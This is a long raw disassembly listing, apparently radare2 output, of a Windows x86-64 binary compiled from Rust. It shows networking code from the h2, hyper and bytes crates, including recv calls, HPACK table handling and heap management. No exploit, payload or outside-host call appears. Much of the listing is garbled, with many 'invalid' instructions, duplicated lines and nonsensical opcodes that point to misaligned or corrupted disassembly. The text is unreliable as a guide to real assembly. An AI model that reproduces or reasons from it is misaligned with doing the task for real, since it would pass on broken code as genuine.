mov rax, qword [rdi - 0x40]
mov rdx, qword [rdi - 0x38]
mov r8, qword [rdi - 0x30]
call qword [rax + reloc.WS2_32.dll_recv]
adc byte [rax - 0x7d], cl
invalid
push 0x74cbff48
invalid
fmul dword [r8 - 0x75]
fmul dword [rax - 0x75]
ror byte [r8 - 0x75], 0x57
enter 0xffffffffffff8b4c, 0x47
sar bh, 1
push rax
adc byte [rax - 0x7d], cl
invalid
mov rax, qword [rdi - 0x18]
test rax, rax
je 0x14007b380
call 0x1b4c838ec
fisttp dword [rax - 0x75]
push rdi
invalid
mov rdx, qword [rdi - 0x10]
mov r8, qword [rdi - 8]
mov rcx, rdi
call qword [rax + reloc.WS2_32.dll_recv]
adc bl, ch
retf
adc bl, ch
retf
cmp qword [rsp + 0x308], 0
je 0x14007b3d7
mov r8, qword [rsp + 0x300]
mov rcx, qword [0x140215360]
test byte [rax + rax], ah
add eax, dword [rax]
add byte [rax - 0x75], cl
or eax, 0x199f91
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rsp + 0x328], 0
je 0x14007b3f4
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rsp + 0x470]
cmp rax, 5
ja case.0x14007b410.4
lea rcx, [0x140209008]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rax, [rsp + 0x480]
mov qword [rsp + 0x3d8], rax
mov rcx, qword [rsp + 0x3d8]
call fcn.14006cd90
mov r8, qword [rsp + 0x448]
cmp r8, 2
je 0x14007b4ec
lea rdx, [rsp + 0x460]
mov rcx, qword [rsp + 0x450]
mov rax, qword [rsp + 0x458]
test r8, r8
je 0x14007b470
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x68]
mov r8, qword [rsp + 0x448]
cmp r8, 2
je 0x14007b4ec
mov rdx, qword [rsp + 0x460]
mov rcx, qword [rsp + 0x450]
mov rax, qword [rsp + 0x458]
test r8, r8
je 0x14007b4b0
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x80]
mov rax, qword [rsp + 0x448]
cmp rax, 2
je 0x14007b4ec
test rax, rax
je 0x14007b4ec
mov rax, qword [rsp + 0x450]
lock dec qword [rax]
jne 0x14007b4ec
mov rcx, qword [rsp + 0x450]
mov rdx, qword [rsp + 0x458]
call fcn.140069a20
mov rsi, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x58]
test dil, 1
jne 0x14007b50d
lea rcx, [0x1401e17a0]
jmp 0x14007b61c
mov r14, qword [rsp + 0x50]
shr rdi, 5
sub rsi, rdi
lea rbx, [rdi + rdx]
cmp rdx, r14
jne 0x14007b544
test rbx, rbx
je 0x14007b5a2
test sil, 1
jne 0x14007b5f8
mov rax, rsi
or rax, 1
lea rcx, [0x1401a9358]
jmp 0x14007b602
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x14007b570
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14007b93f
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x18
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14007b93f
add r14, rdi
mov qword [rax], rsi
mov qword [rax + 8], r14
mov qword [rax + 0x10], 1
lea rcx, [0x140169c10]
jmp 0x14007b602
lea rcx, [0x1401d3af8]
lea rsi, [0x140204680]
xor eax, eax
xor ebx, ebx
jmp 0x14007b602
mov r13, rbx
mov rcx, qword [rsp + 0x50]
cmp rcx, rax
je 0x140078595
jmp 0x1400785ae
mov r14, rbx
mov rcx, qword [rsp + 0x50]
cmp rcx, rax
jne 0x14007877e
jmp 0x140078765
lea rcx, [0x1401a9370]
mov rax, rsi
mov qword [rsp + 0x470], rdi
mov rdx, rbx
sub rdx, rdi
jb 0x14007b8a7
add rsi, rdi
mov rdi, rax
mov rax, qword [rsp + 0x410]
mov qword [rax], rcx
mov qword [rax + 8], rsi
mov qword [rax + 0x10], rdx
mov qword [rax + 0x18], rdi
movaps xmm6, xmmword [rsp + 0x5a0]
movaps xmm7, xmmword [rsp + 0x5b0]
movaps xmm8, xmmword [rsp + 0x5c0]
add rsp, 0x5d8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.9_srcheadermap.rs
call fcn.140160ed0
ud2
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.9_srcheadermap.rs
mov rcx, r13
mov rdx, rbx
call fcn.140160ed0
ud2
lea rax, [rsp + 0x200]
mov qword [rsp + 0x100], rax
lea rax, [fcn.140058ea0]
mov qword [rsp + 0x108], rax
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x110], rcx
mov qword [rsp + 0x118], rax
lea rax, str.new_len____capacity_
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x158], 2
mov qword [rsp + 0x170], 0
lea rax, [rsp + 0x100]
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x168], 2
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes_mut.rs
lea rcx, [rsp + 0x150]
call fcn.140160e20
ud2
lea rcx, str.Out_of_bounds_access_rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_alloc_srccollections_vec_dequemod.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srchpack_table.rs
mov edx, setsockopt
call fcn.140161290
ud2
lea rcx, str.Out_of_bounds_access_rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_alloc_srccollections_vec_dequemod.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srchpack_table.rs
mov edx, setsockopt
call fcn.140161290
ud2
lea rcx, str.Out_of_bounds_access_rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_alloc_srccollections_vec_dequemod.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srchpack_table.rs
mov edx, setsockopt
call fcn.140161290
ud2
lea rcx, str.assertion_failed:__header.is_sensitive__
lea r8, [0x140196058]
mov edx, 0x28
call fcn.140160fb0
ud2
lea rcx, str.Out_of_bounds_access_rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_alloc_srccollections_vec_dequemod.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srchpack_table.rs
mov edx, setsockopt
call fcn.140161290
ud2
lea rcx, str.assertion_failed:__header.is_sensitive__
lea r8, [0x140196070]
mov edx, 0x28
call fcn.140160fb0
ud2
lea rax, [rsp + 0x90]
mov qword [rsp + 0x150], rax
lea rax, [fcn.140058ea0]
mov qword [rsp + 0x158], rax
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x160], rcx
mov qword [rsp + 0x168], rax
lea rax, str.new_len____capacity_
mov qword [rsp + 0x2f0], rax
mov qword [rsp + 0x2f8], 2
mov qword [rsp + 0x310], 0
lea rax, [rsp + 0x150]
mov qword [rsp + 0x300], rax
mov qword [rsp + 0x308], 2
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes_mut.rs
lea rcx, [rsp + 0x2f0]
call fcn.140160e20
ud2
lea rcx, str.encoding_header_without_name__but_no_previous_index_to_use_for_nameC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srchpackencoder.rs
lea r8, [0x140196018]
mov edx, 0x43
call fcn.140161560
ud2
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srchpack_table.rs
mov rcx, r14
mov rdx, rsi
call fcn.140160e60
ud2
mov ecx, 8
mov edx, 0xc0
call fcn.14015d7f0
ud2
call fcn.1400138d0
ud2
mov ecx, 8
mov rdx, r12
call fcn.14015d7f0
ud2
mov qword [rsp + 0x90], rbx
lea rax, [rsp + 0x470]
mov qword [rsp + 0x150], rax
lea rax, [0x140144ae0]
mov qword [rsp + 0x158], rax
lea rcx, [rsp + 0x90]
mov qword [rsp + 0x160], rcx
mov qword [rsp + 0x168], rax
lea rax, str.cannot_advance_past__remaining_:___
mov qword [rsp + 0x2f0], rax
mov qword [rsp + 0x2f8], 2
mov qword [rsp + 0x310], 0
lea rax, [rsp + 0x150]
mov qword [rsp + 0x300], rax
mov qword [rsp + 0x308], 2
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes.rsC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_src_body_body.rs
lea rcx, [rsp + 0x2f0]
call fcn.140160e20
ud2
mov ecx, 8
mov edx, 0x18
call fcn.14015d7f0
ud2
pop rdi
ret
mov qword [rsp + 0x48], rax
lea rax, str.new_len____capacity_
mov qword [rsp + 0x58], rax
and al, 0x58
and al, 0x58
mov qword [rsp + 0x60], 2
mov qword [rsp + 0x78], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x78
add byte [rax], al
add byte [rax], al
lea rax, [rsp + 0x30]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], 2
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes_mut.rs
lea rcx, [rsp + 0x58]
call fcn.140160e20
ud2
invalid
or ecx, dword [rax - 0x77]
and al, 0x50
mov qword [rsp + 0x28], rsi
lea rax, [rsp + 0x50]
je 0x14007baad
sub byte [rax - 0x73], cl
and al, 0x50
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x30], eax
lea rax, [fcn.140058ea0]
mov qword [rsp + 0x38], rax
std
dec dword [rax - 0x77]
and al, 0x38
lea rcx, [rsp + 0x28]
mov qword [rsp + 0x40], rcx
and al, 0x40
and al, 0x40
mov qword [rsp + 0x48], rax
and al, 0x48
lea rax, [0x140195890]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 2
and al, 0x60
add al, byte [rax]
add byte [rax], al
and al, 0x60
add al, byte [rax]
add byte [rax], al
mov qword [rsp + 0x78], 0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], 2
jo 0x14007badf
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x119dc9
jo 0x14007badf
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x119dc9
lea rcx, [rsp + 0x58]
call fcn.140160e20
add byte [rdi], cl
invalid
add byte [rdi], cl
or ecx, esp
int3
int3
push r12
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rsi, rcx
mov qword [rcx + 0x50], rdx
test rdx, rdx
je 0x14007bb34
mov rcx, rsi
xor edx, edx
add rsp, 0x20
invalid
and byte [rbx + 0x5f], bl
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp fcn.14007bf10
add byte [rax], al
invalid
add byte [rax], al
mov qword [rsi + 0x48], 0
add byte [rax], al
mov rcx, qword [rsi + 0x10]
test rcx, rcx
leave
leave
je 0x14007bb71
mov rax, qword [rsi]
shl rcx, 3
lea rcx, [rcx + rcx*2]
xor edx, edx
nop word cs:[rax + rax]
mov qword [rax + rdx], 0
add rdx, 0x18
sbb byte [rax + 0x39], cl
sal dword [rbp - 0x11], 1
sbb byte [rax + 0x39], cl
sal dword [rbp - 0x11], 1
mov r15, qword [rsi + 0x30]
jle 0x14007bba5
test r15, r15
je 0x14007bc11
add byte [rax], al
add byte [rax], al
mov rdi, qword [rsi + 0x18]
mov rdx, qword [rsi + 0x20]
and byte [rax - 0x75], cl
sub byte [rbp + 0x31], r8b
ror byte [rax + 0x39], 0xd0
and byte [rax - 0x75], cl
sub byte [rbp + 0x31], r8b
ror byte [rax + 0x39], 0xd0
mov rcx, rdx
cmovb rcx, r8
cmovb ecx, eax
cmovb ecx, eax
mov r9, rax
sub r9, rcx
mov r12, rdx
sub r12, r9
lea r13, [r9 + r15]
sub al, 0x39
cmp r12, r15
cld
cmovb r13, rdx
mov r14, r15
sub r14, r12
cmovb r14, r8
mov qword [rsi + 0x30], 0
add byte [rax], al
add byte [rax], al
sub r13, r9
je 0x14007bbf1
shl rax, 5
loopne 0x14007bbce
lea rax, [rax + rax*2]
shl rcx, 5
shl ecx, 5
lea rcx, [rcx + rcx*2]
sub rax, rcx
lea rbx, [rdi + rax]
add rbx, 0x10
mov rcx, rbx
call fcn.14006cd90
add rbx, 0x60
invalid
dec r13
jne 0x14007bbe0
invalid
cmp r12, r15
jae 0x14007bc11
add rdi, 0x10
nop word [rax + rax]
mov rcx, rdi
call fcn.14006cd90
add rdi, 0x60
dec r14
jne 0x14007bc00
mov qword [rsi + 0x28], 0
mov qword [rsi + 0x40], 0
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
dec r13
mov rbx, rcx
test r13, r13
je 0x14007bd42
invalid
lea rcx, [rbx - 1]
and rcx, rax
cmp rcx, rdx
jae 0x14007beea
add dword [rax], eax
invalid
lea r9, [rcx + rcx*2]
cmp qword [r8 + r9*8], 0
cmp al, 0xc8
invalid
je 0x14007bd00
lea r9, [r8 + r9*8]
mov r9, qword [r9 + 0x10]
and r9, rax
mov r10, rcx
sub r10, r9
retf 0x2149
and r10, rax
dec r13
cmp r10, r13
cmp edx, ebp
cmp edx, ebp
jb 0x14007bd03
mov rax, qword [r15 + 0x40]
mov qword [rsp + 0x70], rax
movups xmm0, xmmword [r15]
movups xmm1, xmmword [r15 + 0x10]
movups xmm2, xmmword [r15 + 0x20]
movups xmm3, xmmword [r15 + 0x30]
movups xmm3, xmmword [rdi + 0x30]
movups xmmword [rsp + 0x60], xmm3
movups xmmword [rsp + 0x50], xmm2
movups xmmword [rsp + 0x40], xmm1
inc qword [r14 + 0x40]
movups xmmword [rsp + 0x30], xmm0
movups xmmword [rsp + 0x30], xmm0
mov rax, qword [r14 + 0x20]
mov eax, dword [rsi + 0x20]
mov rcx, qword [r14 + 0x30]
cmp rcx, rax
invalid
jne 0x14007bd94
sal dword [rbp + 0x11], 0x49
lea ecx, [rsi + 0x18]
lea rcx, [r14 + 0x18]
call fcn.14007c240
mov rax, qword [r14 + 0x20]
mov rcx, qword [r14 + 0x30]
add al, 0
add byte [rcx - 0x75], cl
and byte [rcx - 0x75], r9b
xor byte [rcx - 0x75], r9b
push rsi
sub byte [rax - 1], cl
dec rdx
invalid
invalid
mov rdx, qword [r14 + 0x28]
dec rdx
add rax, rdx
cmovae rax, rdx
mov rdx, qword [r14 + 0x18]
mov qword [r14 + 0x28], rax
inc rcx
mov qword [r14 + 0x30], rcx
lea rax, [rax + rax*2]
shl rax, 5
mov qword [rdx + rax], 0
movups xmm0, xmmword [rsp + 0x28]
adc byte [rsp + 0x28], al
adc byte [rsp + 0x28], al
movups xmm1, xmmword [rsp + 0x38]
movups xmm2, xmmword [rsp + 0x48]
movups xmm3, xmmword [rsp + 0x58]
movups xmmword [rdx + rax + 8], xmm0
movups xmmword [rdx + rax + 0x18], xmm1
movups xmmword [rdx + rax + 0x28], xmm2
adc dword [rdx + rax + 0x28], edx
adc dword [rdx + rax + 0x28], edx
movups xmmword [rdx + rax + 0x38], xmm3
movups xmm0, xmmword [rsp + 0x68]
movups xmmword [rdx + rax + 0x48], xmm0
adc dword [rdx + rax + 0x48], eax
adc dword [rdx + rax + 0x48], eax
mov qword [rdx + rax + 0x58], rdi
mov rdx, qword [r14 + 0x10]
cmp rbx, rdx
ror dword [rdi], cl
xor ebx, 0
add byte [rax], al
ror dword [rdi], cl
xor ebx, 0
add byte [rax], al
xor ecx, ecx
sub rcx, qword [r14 + 0x40]
mov rax, qword [r14]
lea r8, [rbx + rbx*2]
mov r9, qword [rax + r8*8]
movups xmm0, xmmword [rax + r8*8 + 8]
ror byte [rax], 0x4a
mov dword [rax + rax*8], 1
ror byte [rax], 0x4a
mov dword [rax + rax*8], 1
mov qword [rax + r8*8 + 8], rcx
mov qword [rax + r8*8 + 0x10], rdi
mov dword [rax + rax*8 + 0x10], edi
mov dword [rax + rax*8 + 0x10], edi
cmp r9, 1
jne 0x14007be77
inc rbx
nop word [rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov rcx, rbx
mov ebx, 0
cmp rcx, rdx
jae 0x14007be40
lea r8, [rcx + rcx*2]
cmp qword [rax + r8*8], 0
mov qword [rax + r8*8], 1
movups xmm1, xmmword [rax + r8*8 + 8]
or byte [rdx + 0xf], al
adc dword [rax + rax*8 + 8], eax
or byte [rdx + 0xf], al
adc dword [rax + rax*8 + 8], eax
je 0x14007be77
or ecx, dword [rax - 1]
ror dword [rdi], 0x28
ror dword [rax - 0x77], 0xcb
retf
inc rcx
movaps xmm0, xmm1
mov rbx, rcx
retf
retf
jmp 0x14007be40
cmp bpl, 2
jne 0x14007bec2
lea rcx, [rsi + 8]
mov eax, 2
jmp 0x14007becf
invalid
push rdi
and byte [rcx + 0xf], al
adc byte [rdi + 0x30], bl
movups xmmword [rsi + 0x10], xmm0
movups xmmword [rsi + 0x20], xmm1
movups xmmword [rsi + 0x30], xmm2
movups xmmword [rsi + 0x40], xmm3
pop rsi
mov rcx, qword [r15 + 0x40]
pop rsi
mov rcx, qword [r15 + 0x40]
mov qword [rsi + 0x50], rcx
push rax
jmp fcn.14007bed6
mov qword [rsi + 8], r12
lea rcx, [rsi + 0x10]
mov eax, 3
mov qword [rcx], 0
add byte [rax], al
pop r13
pop r14
pop r15
ret
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srchpack_table.rs
call fcn.140160ed0
ud2
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srchpack_table.rs
mov rcx, rbx
call fcn.140160ed0
ud2
add byte [rax], al
cmovb ecx, edx
add al, 0xf
mov dword [rsp + 0xb0], edx
adc byte [rdi + rcx + 0x48], al
movaps xmm1, xmmword [rdi]
sub dword [rsp + 0x80], eax
add byte [rax], al
add byte [rax], al
prefetcht0 byte [rdi]
prefetcht0 byte [rdi]
sub dword [rsp + 0x70], eax
adc byte [rdi + rcx + 8], al
and al, 0x60
mov edi, 0x48000001
add ebp, dword [rsp + 0x38]
invalid
add byte [rax + 3], cl
insb byte [rdi], dx
and al, 0x38
invalid
cmp byte [rax - 0x77], cl
test byte [rax + rdi*4], ah
add byte [rax], al
add byte [rax - 0x75], cl
mov eax, dword [rsp + 0xb0]
invalid
invalid
mov word [rax + rax*8], fs
rol byte [rax], 0
mov eax, dword [rsp + 0xb0]
mov al, 0
add byte [rax], al
rol byte [rax], 0
add byte [rax - 0x77], cl
push r8
sub byte [rsp + 0xa0], al
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rdi], cl
adc dword [rcx + 0x40], eax
invalid
invalid
movaps xmm0, xmmword [rsp + 0x60]
and al, 0x70
sub byte [rsp + 0x80], dl
and al, 0x80
add byte [rax], al
add byte [rdi], cl
sub byte [rsp + 0x90], bl
pushfq
and al, 0x90
add byte [rax], al
invalid
pushfq
and al, 0x90
add byte [rax], al
add byte [rdi], cl
movups xmmword [rcx + 0x30], xmm3
adc dword [rcx + 0x10], ecx
movsb byte [rdi], byte [rsi]
and al, 0x10
add dword [rax], eax
add byte [rbp + 0x21], cl
cld
and al, 0xc8
add byte [rax], al
enter 0, 0
add al, ch
fmul dword [rbx]
invalid
or edi, edi
invalid
dec dword [rax - 0x77]
int1
ret 0x8948
and al, 0x20
push rsi
nop qword [rax]
nop dword [rax]
add byte [rcx + rcx*4 - 0x1f], cl
add byte [rax], al
add byte [rcx + rdi - 0xf], cl
cmp ecx, esi
int1
add dword [rax], eax
add byte [rax - 0x73], cl
add al, 0xc5
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx + rax - 0x18], cl
add eax, ebp
add eax, ebp
or byte [rdi], cl
test byte [rbp - 2], bh
jge 0x14007c10f
invalid
ror dword [rcx - 0x77], 0xcc
mov esp, ecx
add qword [rbp + 0x10], rsi
mov edx, dword [rsp + 0x38]
mov dword [rax], 0
add byte [rax], al
add byte [rax - 0x77], cl
sar byte [rdx], 1
invalid
add byte [rax], al
add byte [rcx + rdi - 0x10], cl
cmp dword [rbp + rdx*8], 0
invalid
dec dword [rax - 0x73]
adc al, 0xd5
add byte [rax], al
add byte [rax], al
adc byte [rbp + 0x21], cl
clc
mov ecx, eax
mov eax, dword [rdx + 0x10]
add byte [rax], al
and byte [rax - 0x77], cl
invalid
mov rcx, qword [rsi + 0x10]
mov rax, qword [rsi + 0x18]
mov rdx, rdi
sub rdx, rax
sub edx, eax
sub edx, eax
cmp rcx, rdx
jbe 0x14007c2d5
sal dword [rsi + 0x6c], 1
mov rbx, qword [rsi + 8]
mov r8, rdi
sub r8, rcx
enter 0x294c, 0xffffffffffffffc0
enter 0x294c, 0xffffffffffffffc0
cmp r8, rax
jbe 0x14007c2a8
invalid
sub eax, 0x48da8948
sub edx, edi
mov rdx, rbx
sub rdx, rdi
cmp rdx, rax
cmp edx, eax
jb 0x14007c2a8
mov rdx, qword [rsi]
lea rcx, [rdi + rdi*2]
shl rcx, 5
loope 0x14007c296
loope 0x14007c296
add rcx, rdx
add ecx, edx
shl rax, 5
loopne 0x14007c29d
add eax, 0x40048d4c
lea r8, [rax + rax*2]
add rsp, 0x20
add esp, 0x20
pop rbx
pop rdi
pop rsi
jmp sub.VCRUNTIME140.dll_memcpy
sub rbx, r8
sub ebx, eax
ret
mov rax, qword [rsi]
lea rdx, [rcx + rcx*2]
shl rdx, 5
shl edx, 5
add rdx, rax
lea rcx, [rbx + rbx*2]
pop rbx
ret 0x8d48
pop rbx
shl rcx, 5
add rcx, rax
shl r8, 5
shl eax, 5
shl eax, 5
lea r8, [r8 + r8*2]
call sub.VCRUNTIME140.dll_memmove
invalid
or byte [rsi], cl
add byte [rax - 0x77], cl
pop rsi
invalid
movabs al, byte [0x48105e8948000e08]
add esp, 0x20
adc byte [rax - 0x7d], cl
invalid
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
in al, dx
sub byte [rdi], cl
mov dh, 0x41
add al, 0xfe
invalid
dec byte [rdi]
movzx eax, al
mov dh, 0xc0
ror byte [rax - 0x73], 0x50
add dword [rbp + 0x31], eax
sar byte [rsi + rax], 0x4c
invalid
cmovb r8, rdx
lea rdx, [rax + 1]
lea edx, [rax + 1]
xor r8d, r8d
cmp al, 6
invalid
cmovb r8, rdx
invalid
lea rax, [0x140209020]
movsxd rdx, dword [rax + r8*4]
invalid
int 0x18
add byte [rdx + 0x63], cl
adc al, 0x80
invalid
or byte [rax + 1], 0xc2
add rdx, rax
ret 0xe2ff
jmp rdx
mov rax, qword [rcx + 8]
mov r9, qword [rcx + 0x10]
mov ecx, dword [rcx + 0x10]
mov ecx, dword [rcx + 0x10]
mov rdx, r9
add rsp, 0x28
ret
mov rax, qword [rcx + 0x28]
mov r9, qword [rcx + 0x30]
sub byte [r11 + rcx*4 + 0x49], cl
xor byte [rcx + rcx*4 - 0x36], cl
mov rdx, r9
mov rdx, r9
add rsp, 0x28
ret
movzx r9d, byte [rcx]
movzx ecx, byte [rcx]
lea rax, [0x14020903c]
movsxd rdx, dword [rax + r9*4]
adc al, 0x88
adc al, 0x88
add rdx, rax
jmp rdx
lea rax, str.OPTIONSGETPOSTPUTDELETEHEADTRACECONNECTPATCHrange_end_out_of_bounds:
mov r9d, 7
mov rdx, r9
mov edx, ecx
mov edx, ecx
add rsp, 0x28
ret
mov eax, dword [rcx]
add eax, 0xffffff9c
movzx eax, ax
lea rcx, [rax + rax*2]
lea rax, str.100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993994995996997998999:authority:method:scheme:path:protocol:status
adc dword [rax], eax
adc dword [rax], eax
add rax, rcx
mov r9d, 3
add byte [rax], al
mov rdx, r9
add rsp, 0x28
ret
lea rax, [0x1401aaaaf]
adc al, byte [rax]
jmp 0x14007c369
lea rax, [0x1401aaab2]
jmp 0x14007c3b4
lea rax, [0x1401aaab6]
mov rdx, r9
mov edx, ecx
mov edx, ecx
add rsp, 0x28
ret
lea rax, [0x1401aaab9]
mov r9d, 6
mov rdx, r9
mov edx, ecx
mov edx, ecx
add rsp, 0x28
ret
lea rax, [0x1401aaabf]
add eax, 0x12e70b
mov r9d, 4
mov rdx, r9
add rsp, 0x28
ret
lea rax, [0x1401aaac3]
add eax, 0x12e6fa
jmp 0x14007c3d2
lea rax, [0x1401aaacf]
mov r9d, 5
mov ecx, 5
mov rdx, r9
add rsp, 0x28
ret
lea rax, [0x1401aaac8]
mov rdx, r9
add rsp, 0x28
ret
movzx r9d, byte [rcx + 0x10]
cmp r9, 0x10
jae 0x14007c408
inc rcx
mov rax, rcx
mov rdx, r9
add rsp, 0x28
ret
lea r8, [0x1401a9578]
mov edx, recv
mov rcx, r9
call fcn.140160f40
ud2
cmp dword [rcx + 0x114], edx
jne 0x14007e197
movzx r10d, byte [r9 + 0x50]
add r10b, 0xfa
movzx r11d, r10b
cmp r11b, 6
mov r10d, 6
cmovb r10d, r11d
xor edi, edi
cmp r10b, 6
ja 0x14007e11b
movzx r10d, r10b
mov r11d, 0x62
bt r11, r10
invalid
sal dword [rbx + 0x29], cl
movabs dword [0x28244489442973d3], eax
mov dword [rsp + 0x28], r8d
mov dword [rsp + 0x2c], edx
cmp dword [r9], 2
je 0x14007e197
cmp dword [r9 + 0x114], edx
jne 0x14007e197
cmp qword [r9 + 0x18], 0
sete dil
test al, al
jne 0x14007e12e
mov rax, qword [0x1402153f0]
shl rax, 1
test rax, rax
jne 0x14007e188
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
lahf
invalid
add byte [rcx - 0x3b7cb708], cl
jo 0x14007e199
pop rdi
pop rsi
ret
lahf
invalid
adc dword [rax], eax
lea r8, [rsp + 0x40]
mov edx, 0x2b
call fcn.140161200
ud2
call fcn.1401666c0
test al, al
jne 0x14007e12e
mov byte [rbx + 0x18], 1
jmp 0x14007e12e
mov qword [rsp + 0x30], rcx
lea rax, [0x14006a5f0]
invalid
invalid
invalid
dec dword [rax - 0x77]
and al, 0x38
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov dword [rsp + 0x48], 1
invalid
mov dword [rsp + 0x48], 1
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srcproto_streams_store.rs
lea edx, [0x1401a8598]
lea edx, [0x1401a8598]
lea rcx, [rsp + 0x40]
call fcn.140160e20
ud2
inc dword [rcx + 0xf]
mov dh, 0x46
sbb byte [rax + rax*8 + 0xe1850f], al
add byte [rax], al
mov edx, dword [rbx + 8]
mov ecx, dword [rbx + 0xc]
mov dword [rsp + 0x30], edx
lea rax, [rsp + 0x34]
mov dword [rsp + 0x34], ecx
cmp qword [r14 + 0x1c8], rdx
jbe 0x14007e354
mov r9, qword [r14 + 0x1b8]
test r9, r9
je 0x14007e354
imul r8, rdx, 0x130
xor byte [rcx], al
add byte [rax], al
cmp dword [r9 + r8], 2
je 0x14007e354
add r9, r8
cmp dword [r9 + 0x114], ecx
jne 0x14007e354
mov byte [r9 + 0x128], 0
mov dword [rsp + 0x30], edx
mov dword [rsp + 0x34], ecx
cmp qword [r14 + 0x1c8], rdx
jbe 0x14007e354
